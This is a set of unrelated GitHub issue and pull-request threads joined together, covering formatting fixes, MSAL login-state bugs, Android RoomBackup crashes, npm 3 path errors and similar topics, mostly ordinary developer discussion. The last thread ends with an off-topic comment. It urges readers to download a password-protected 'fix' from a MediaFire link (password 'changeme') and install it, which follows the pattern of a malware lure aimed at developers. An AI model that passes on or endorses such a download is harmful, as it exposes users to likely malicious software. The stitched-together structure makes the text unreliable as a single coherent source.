i don't think we need a github action as well besides the already configured formatting, but that one needs to work correctly
currently it's just making things more complex and causing more conflicts.


Always use spaces for code (if possible)

Almost all the code in the blog uses spaces instead of tabs.
This change fixes 3 places where there was inconsistancy.
This was causing some of the content to appear misaligned.
Now tabs are only used in:

Makefiles
Dockerfiles
Command output (from objdump and diff) containing tabs
.fish files

Thanks!


[FLINK-4244] [docs] Field names for union operator do not have to be equal

We just merged FLINK-2985 , but not update the document.

Thanks @wuchong. Will merge...


add homework3

Drift link : https://video.drift.com/v/abuJR5HK19DtPUWA3YseNXASH8Qgw8EOhDPHwp8qoQVIs/
screenshots:

Metric
Value

alert_status
:white_check_mark: OK

bugs
0

code_smells
24

reliability_rating
A (0 Bugs)Note: A being best, E being worst

security_rating
A (0 Vulnerabilities)Note: A being best, E being worst

vulnerabilities
0


JBPM-6340: Wires connectors do not cause exception when shape is resized

This is a fix for this issue: https://issues.jboss.org/browse/JBPM-6340. The issue is caused by Geometry.getPathIntersect(), which sometimes incorrectly returns a Point2D without a corresponding JSO object due to accessing a non-existing array element. Geometry.getPathIntersect() will now return null if the array does not contain enough elements or an exception occurs.

Fixes #192


[FIX] Lower log level of SSL handshake exceptions

Client requested protocol TLSv1.1 is not enabled or supported in server context
This benign event should likely not lead to an error log.

does the SMTP stack use the BasicChannelInboundHandler ?

Yes it does.


Blank screen upon loading any video file

Steps to Reproduce

Download razorRun's test repo
Run npm i and npx react-native run-android

Expected Behaviour
A video file ought to play.
See https://www.wowza.com/developer/rtsp-stream-test
Result
There are no logs either from the developer console or from node.js

Additional Notes
Tested on Android. Tested client on emulator and a physical android phone. Have not tested compiling on other development environments.
The same applies to getting files from https. Have not tested with local files yet.
System Config Information
C:\Users\Test>npm version
{
  'onvif-test': '0.0.1',
  npm: '8.1.0',
  node: '16.13.0',
  v8: '<IP_ADDRESS>-node.13',
  uv: '1.42.0',
  zlib: '1.2.11',
  brotli: '1.0.9',
  ares: '1.17.2',
  modules: '93',
  nghttp2: '1.45.1',
  napi: '8',
  llhttp: '6.0.4',
  openssl: '1.1.1l+quic',
  cldr: '39.0',
  icu: '69.1',
  tz: '2021a',
  unicode: '13.0',
  ngtcp2: '0.1.0-DEV',
  nghttp3: '0.1.0-DEV'
}

@aivct I'm having the same problem. Were you able to solve it?

Having the same issue here. @camilobaezcamba @aivct any luck?

If I'm not mistaken, this happened because the video I was trying to play needed basic auth and I was passing it as a header (Authorization: Basic <Base64(user:pass)>), however it was necessary to pass it in the following format 'https<EMAIL_ADDRESS>in the URL


Implement a "create" and a "delete"  z/OS Cloud Broker instance OC SDK module

Feature Request
Describe the problem you need a feature to resolve.
This issue will track the creation of two modules:

[ ] oc_create_zoscloudbroker_instance
[ ] oc_delete_zoscloudbroker_instance

These modules should let users create and delete the Broker instance in a given namespace.

Closed as duplicate of #76


Create a doc section for wallets under Guide

Currently, wallet-related docs are hard to find. They should be under the Guide section, like Contract and Types. Follow the structure found in the Rust SDK docs.

Hey @digorithm , is the issue still open, i'd love to work on it :))

@AliJafriETH go for it, mate! :)

Apparently we already have some content around wallets in our docs folder here, but it doesn't seem to be showing up on our docs site.

@camsjams any idea why this could be happening? ^


Need a way to have attacks use Health DM but still damage Focus

Certain powers like Suppressive Fire for instance require that the math use the health damage modifier in its calculations but then take the damage out of the targets Focus value.
I would suggest adding the option 'Focus use Health DM' into the Damage Target settings of the power menu.

Thanks for the suggestion


inProgress status stucks in Login state after restoring app from bfcache

Core Library
MSAL.js v2 (@azure/msal-browser)
Core Library Version
2.36.0
Wrapper Library
MSAL Angular (@azure/msal-angular)
Wrapper Library Version
2.5.5
Public or Confidential Client?
Public
Description
MSAL inProgress status stucks in Login state after restoring the app from bfcache in browser.
I made a test project for this problem:
https://stackblitz.com/edit/angular-k8caw7?file=src/app/app.module.ts
Notes:

msal should be configured with Redirect interaction type
login button handler follows this guide: https://github.com/AzureAD/microsoft-authentication-library-for-js/blob/dev/lib/msal-angular/docs/v2-docs/errors.md#interaction_in_progress

Error Message
No response
Msal Logs
No response
MSAL Configuration
https://stackblitz.com/edit/angular-k8caw7?file=src/app/app.module.ts

Relevant Code Snippets
-

Reproduction Steps

Visit https://angular-k8caw7.stackblitz.io using Chrome or any other browser with activated bfcache
Press Login button (you will be redirected to IDP login page)
Press back button in the browser (you will be redirected back to the app obviously)
Press Login button again - and here is the problem, nothing happens after the click because inProgress status is not  None

Expected Behavior
MSAL inProgress status is None after restoring the app from bfcache in browser so 4th reproduction step should cause redirection to IDP page.
Identity Provider
Other
Browsers Affected (Select all that apply)
Chrome, Firefox, Edge, Safari
Regression
No response
Source
External (Customer)

Currently I use following solution to reset inProgress status:
@HostListener('window:pageshow', ['$event'])
onPageShow(event: PageTransitionEvent): void {
  if (event.persisted) {
    this.document.location.reload();
  }
}

We are having the same issue with msal-react.
We are using:
<EMAIL_ADDRESS><EMAIL_ADDRESS>We actually only need to hit the browser back button after logging in and we are already in the inProgress dead end. InProgress has always the value of "Login".
We set the LogLevel to verbose and got these logs:
logger [Thu, 20 Apr 2023 12:27:27 GMT] : [e45b1fab-ee18-452a-922e-6f9d96c75f81]<EMAIL_ADDRESS>: Verbose - validateAndExtractStateFromHash called
client.tsx:43 logger [Thu, 20 Apr 2023 12:27:27 GMT] : [e45b1fab-ee18-452a-922e-6f9d96c75f81]<EMAIL_ADDRESS>: Verbose - Returning state from hash
client.tsx:43 logger [Thu, 20 Apr 2023 12:27:27 GMT] : [e45b1fab-ee18-452a-922e-6f9d96c75f81]<EMAIL_ADDRESS>: Verbose - InteractionHandler.handleCodeResponse called
client.tsx:43 logger [Thu, 20 Apr 2023 12:27:27 GMT]<EMAIL_ADDRESS>: Info - Emitting event: msal:ssoSilentFailure
client.tsx:43 logger [Thu, 20 Apr 2023 12:27:27 GMT]<EMAIL_ADDRESS>: Verbose - Emitting event to callback 458d2942-2702-4509-8ca5-3308e0457174: msal:ssoSilentFailure
client.tsx:43 logger [Thu, 20 Apr 2023 12:27:27 GMT]<EMAIL_ADDRESS>: Verbose - getAllAccounts called
client.tsx:43 logger [Thu, 20 Apr 2023 12:27:27 GMT] : [e45b1fab-ee18-452a-922e-6f9d96c75f81]<EMAIL_ADDRESS>: Verbose - PerformanceClient: Emitting performance events
client.tsx:43 logger [Thu, 20 Apr 2023 12:27:31 GMT] : [cfd15a11-0c49-497a-8e62-70f6085165b1]<EMAIL_ADDRESS>: Verbose - Page was restored from back/forward cache. Clearing temporary cache.
client.tsx:43 logger [Thu, 20 Apr 2023 12:27:33 GMT]<EMAIL_ADDRESS>: Info - useAccount - Updating account
3client.tsx:43 logger [Thu, 20 Apr 2023 12:27:34 GMT]<EMAIL_ADDRESS>: Info - useAccount - Updating account

This bug is supposed to be fixed, but thats not what we are experiencing:
https://github.com/AzureAD/microsoft-authentication-library-for-js/issues/4171

@ChristianHoffmannS2
Thanks for the link. I looked for similar issue before creating the one but nothing found.
By the way I also tried to call handleRedirectPromise on pageshow event and it doesn't reset inProgress status to 'None'. So for now I use solution with page reloading

Hi @yksht @ChristianHoffmannS2 , this seems to be a bug on our side. We are working on a fix for it. Will let you know once we make the fix. Thanks!

A fix for this was merged and will be included in the June release.


Review Dependencies

Review Dependencies
Problem
We need to run through the installed dependencies and verify that they are actually being used or will be useful in the near future.
Solution
Review packages installed by @Lmyszka4

Dev Dependencies List (Name + Brief Description)

@sveltejs/adapter-cloudflare - cloudflare deployment
@sveltejs/kit - organizes project and adds qol integrations
@typescript-eslint/eslint-plugin - code style suggestions for typescript
@typescript-eslint/parser - typescript compatibility for eslint
esbuild - quick bundling
eslint - enforces coding style, highlights programming and formatting errors
eslint-config-prettier - resolves conflicts with prettier package
eslint-plugin-svelt - svelte compatibility for eslint
prettier - formats code
prettier-plugin-svelte - svelte compatibility for prettier
svelte - renders ui elements
svelte-check - checks programming errors in svelte
tslib - typescript helper functions
typescript - compiler for typescript in
vite - building app for testing

Unnecessary but organizational / quality of life
Analysis:
Because all of these are developer dependencies, they won't add latency to the end-user's access, only to the initial installation of the project.
Non-Necessary Dependencies:

Sveltejs/kit can be kept as a project organizational tool.
Eslint, prettier, and svelte-check (and cross-compatibilities) should be kept in parallel, as each will add an extra layer of code-style enforcement and error checking.
Esbuild should be kept to optimize production build.
Tslib will contain utility functionalities that will likely be accessed in future features.

The rest are dependencies that are necessary to running and deploying the project.


Integration with RSS feeds

User should be able to define the RSS feeds as well as define the categories on his profile. New entries from a particular RSS feed will then appear on his timeline. This entry can then be transmitted, commented etc (like normal message).

We have to consider that we have list of RSS channels built in or user can add his own URL address.


Go indexer: Don't point edges to unresolved packages. [phab:D1817]

Created by fromberger at 2017-07-30 20:56:22:
In some corner cases, an extractor may misidentify a package. When that happens
currently, it can result in weird untargeted package references. Don't do that;
instead log a warning and skip the ref.

schroederc commented inline (context lost during migration) at 2017-07-31 16:12:38:
Diagnostic instead?

schroederc accepted this revision at 2017-07-31 16:12:38

fromberger closed via commit bb62afdc1c337b1f6441b1f64648c2bd5c125116 at 2017-07-31 16:36:11

fromberger wrote at 2017-07-31 16:39:02:
Sorry, I missed this comment. That's a good idea. I'll do that in a separate change.


update tagspaces to 2.3.0

Changes to a cask
Editing an existing cask

[x] Commit message includes cask’s name (and new version, if applicable).
[x] brew cask audit --download {{cask_file}} is error-free.
[x] brew cask style --fix {{cask_file}} left no offenses.

Thank you for the contribution. It needed some fixes, so they were made in 43e6dd9ba1b1fbfc0acb50365d06a73149c36786. Your contribution is still included (and still credited to you), with the appropriate modifications. Please feel free to ask about any of the changes.


Parameterise IP ranges for optionally enhanced security

We are looking to lock down the SSH and Elastic Search ports to specific IP ranges, but without forking off the existing CloudFormation template or suggesting an obtrusive change.
This PR adds two optional parameters when configuring the stack:

VpcIpRangeCidr, the IP range of the VPC. This is used for the Elastic Search security group to determine access to port 6379
AllowedSshCidr , an IP range allowed to SSH into the instances in the stack on port 22

By default these two parameters will default to <IP_ADDRESS>/0, which is the equivalent of what is already hard coded in the template.
Anyone already using this stack already can safely use those defaults and anyone who wishes to reconfigure our set up a new stack can opt in for those additional security restrictions.

Thanks. :+1:


ARROW-5187: [Rust] Add ability to convert StructArray to RecordBatch

The CPP version (http://arrow.apache.org/docs/python/generated/pyarrow.StructArray.html?highlight=flatten#pyarrow.StructArray.flatten) returns Vec<ArrayRef>, so not sure if we should also do the same.
My justification for returning a RecordBatch is that we have the added convenience of not losing the schema of the columns.
I'm using this for reading rows from a SQL database into Arrow data.

Codecov Report

Merging #4178 into master will decrease coverage by 0.05%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master    #4178      +/-   ##
==========================================
- Coverage   87.82%   87.77%   -0.06%
==========================================
  Files         758      758
  Lines       92231    92231
  Branches     1251     1251
==========================================
- Hits        81006    80955      -51
- Misses      11106    11159      +53
+ Partials      119      117       -2

Impacted Files
Coverage Δ

go/arrow/math/uint64_sse4_amd64.go
0% <0%> (-100%)
:arrow_down:

go/arrow/math/float64_sse4_amd64.go
0% <0%> (-100%)
:arrow_down:

go/arrow/memory/memory_sse4_amd64.go
0% <0%> (-100%)
:arrow_down:

go/arrow/math/int64_sse4_amd64.go
0% <0%> (-100%)
:arrow_down:

go/arrow/math/float64_amd64.go
33.33% <0%> (-33.34%)
:arrow_down:

go/arrow/math/int64_amd64.go
33.33% <0%> (-33.34%)
:arrow_down:

go/arrow/math/uint64_amd64.go
33.33% <0%> (-33.34%)
:arrow_down:

go/arrow/math/math_amd64.go
36.84% <0%> (-26.32%)
:arrow_down:

go/arrow/memory/memory_amd64.go
42.85% <0%> (-14.29%)
:arrow_down:

js/src/ipc/metadata/message.ts
92.99% <0%> (-1.28%)
:arrow_down:

... and 3 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update a806508...3c5ccf1. Read the comment docs.

It might be better to call the cpp version as unnest instead of flatten. This implementation does a conversion to RecordBatch thus I'd consider to implement a conversion trait instead. What do You think @nevi-me?

I didn't give it much thought, I like the conversion trait more. I'll update this

@kszucs I used unreachable!() because I couldn't find a way of extracting the fields from the StructArray. I also noted that our implementation's light on helpful methods (e.g. I might want to get a list of all the arrays without iterating).
I'll add JIRAs to address those

Ok, sounds good! Mering on green.


java.lang.IllegalStateException When trying to backup/restore through fragment

Describe the bug
I just added the java code snippet for backup, but the app crashed with the following error, on googling a bit found that this must be because of performing the registerForActivityResult on the activity.
LOGS-

java.lang.IllegalStateException: LifecycleOwner com.raghav.blocker.MainActivity@f1dbe45 is attempting to register while current state is RESUMED. LifecycleOwners must call register before they are STARTED.
at androidx.activity.result.ActivityResultRegistry.register(ActivityResultRegistry.java:123)
at androidx.activity.ComponentActivity.registerForActivityResult(ComponentActivity.java:682)
at androidx.activity.ComponentActivity.registerForActivityResult(ComponentActivity.java:691)
at de.raphaelebner.roomdatabasebackup.core.RoomBackup.(RoomBackup.kt:696)
at com.raghav.blocker.fragment.HomeFragment.lambda$onCreateView$6$HomeFragment(HomeFragment.java:98)
at com.raghav.blocker.fragment.-$$Lambda$HomeFragment$S6AjFVYy3Pf4TKkt8gAc9w2-umY.onClick(Unknown Source:2)
at android.view.View.performClick(View.java:7189)
at android.view.View.performClickInternal(View.java:7166)
at android.view.View.access$3500(View.java:819)
at android.view.View$PerformClick.run(View.java:27682)
at android.os.Handler.handleCallback(Handler.java:883)
at android.os.Handler.dispatchMessage(Handler.java:100)
at android.os.Looper.loop(Looper.java:224)
at android.app.ActivityThread.main(ActivityThread.java:7592)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:539)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:950)

Expected behavior
Should have shown the dialog for file location,and have backed up the db.
Screenshots

Smartphone (please complete the following information):

Device: Redmi Note 7 Pro
OS: Android 10

Hi @raghavtilak,
you need to init the RoomBackup before calling the onClickListener.
See Documentation and Sample.

Hii @rafi0101 Please see my current code,
I have instantiated the roombackup outside the listener, but am still getting the same error.
    RoomBackup roomBackup = new RoomBackup(requireActivity());
    roomBackup.database(AppDatabase.getInstance(requireActivity()));

    binding.backupLocally.setOnClickListener(view -> {

        roomBackup.backupLocation(RoomBackup.BACKUP_FILE_LOCATION_CUSTOM_DIALOG);
        roomBackup.maxFileCount(5);
        roomBackup.onCompleteListener((success, message, exitCode) -> {

        });
        roomBackup.backup();
    });

Oh I see you are using this within a fragment. I haven't tested this yet.
Have you tried initiating it yet like in the Java example line 207 and 212?
Otherwise, I would take a look at it in the next few days.

Oh I see you are using this within a fragment. I haven't tested this yet.
Have you tried initiating it yet like in the Java example line 207 and 212?Otherwise, I would take a look at it in the next few days.

Yes I have tried it initialising like this, but still the same error.
Ohk! Please have a look.Thanks

I tested it with fragments, and found a way to fix your problem.
You need to initialize RoomBackup in the parent Activity from your Fragment.
For further information see the updated doculmentation.
Please tell me if this works for you

Yeah this works!! 😄
Thanks 👍🏻


Server broken with npm 3

After installing tiny-lr (well, actually gulp-livereload) I get the following error when I turn on the liverload extension in chrome:
Error: ENOENT, open '<path>/node_modules/tiny-lr/node_modules/livereload-js/dist/livereload.js'
 at Error (native)

This is probably because npm 3 is trying to install dependencies maximally flat and thus this line does not work anymore. I don't really know an elegant solution, but it sure would be nice to be able to use this module with npm 3.

Fixed by 5754e8cc0ac2b430c78b265a84b459b054aaa889

Sorry, just checked the issues and did not see anything. Thanks!

I provided a reproduction use-case in https://github.com/mklabs/tiny-lr/issues/71#issuecomment-138914911

Commit 5754e8cc0ac2b430c78b265a84b459b054aaa889 was not released in 0.1.6.
As a temporary solution just apply the fix manually.
@shama?


File "preshed/counter.pyx", line 73, in preshed.counter.GaleSmoother.init (preshed/counter.cpp:2577) AssertionError: Cannot smooth your weird data

As I want to train a new Word2Vec model for Indonesian (to add it to SpaCy), I got this error during training:

File "preshed/counter.pyx", line 73, in preshed.counter.GaleSmoother.init (preshed/counter.cpp:2577) AssertionError: Cannot smooth your weird data

Does anybody can help? Thank you

This error means that your don't have any words or phrases's count is 2 or 1. You should ensure your word have counts 1 or 2


Uniform mvt

This PR tries to uniformize the MVT interface in Windshaft, with the intention of having the same output using either Mapnik or pg-mvt renderers. As Mapnik's MVTs are already in use it modifies pg-mvt to match its behaviour.
Main changes:

pg-mvt: Drops the layer.option.columns to request only certain columns from the query. It was unused and not implemented in Mapnik's side.
pg-mvt: Only requests columns of known types in Mapnik (bool, int, float, text).
pg-mvt: Now supports geom_column properly (before it was only working with the_geom_webmercator .
pg-mvt: Now returns an error when the tile is empty (to match Mapnik behaviour)
Tests: MVT tests are now ignored (instead of omitted) when st_asmvt isn't supported.
Tests: I've added a new test suit that compares the output of Mapnik and Postgis given the same query. Any test containing the known_issue is ignored as the behaviour between the 2 renderers is different.

This is working fine with postgis trunk and I expect it to fail with our 2.4 branch. I don't intend to merge this until the tests pass with out Postgis release, but please have a look at the PR anyway.
Thanks to @enekid and specially @IagoLast for their help dealing with my JS lack of knowledge.
cc/ @davidmanzanares and @rochoa since we were discussing some of the changes in https://github.com/CartoDB/Windshaft/issues/628

This is green now with the new <IP_ADDRESS>+carto-1 Postgis release (Thanks @oleurud and @enekid). Do any of you want to have a quick review after all the changes?
The change to not throw an error with empty MVT will come in a different PR.


Add 3D world with infinite plane

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx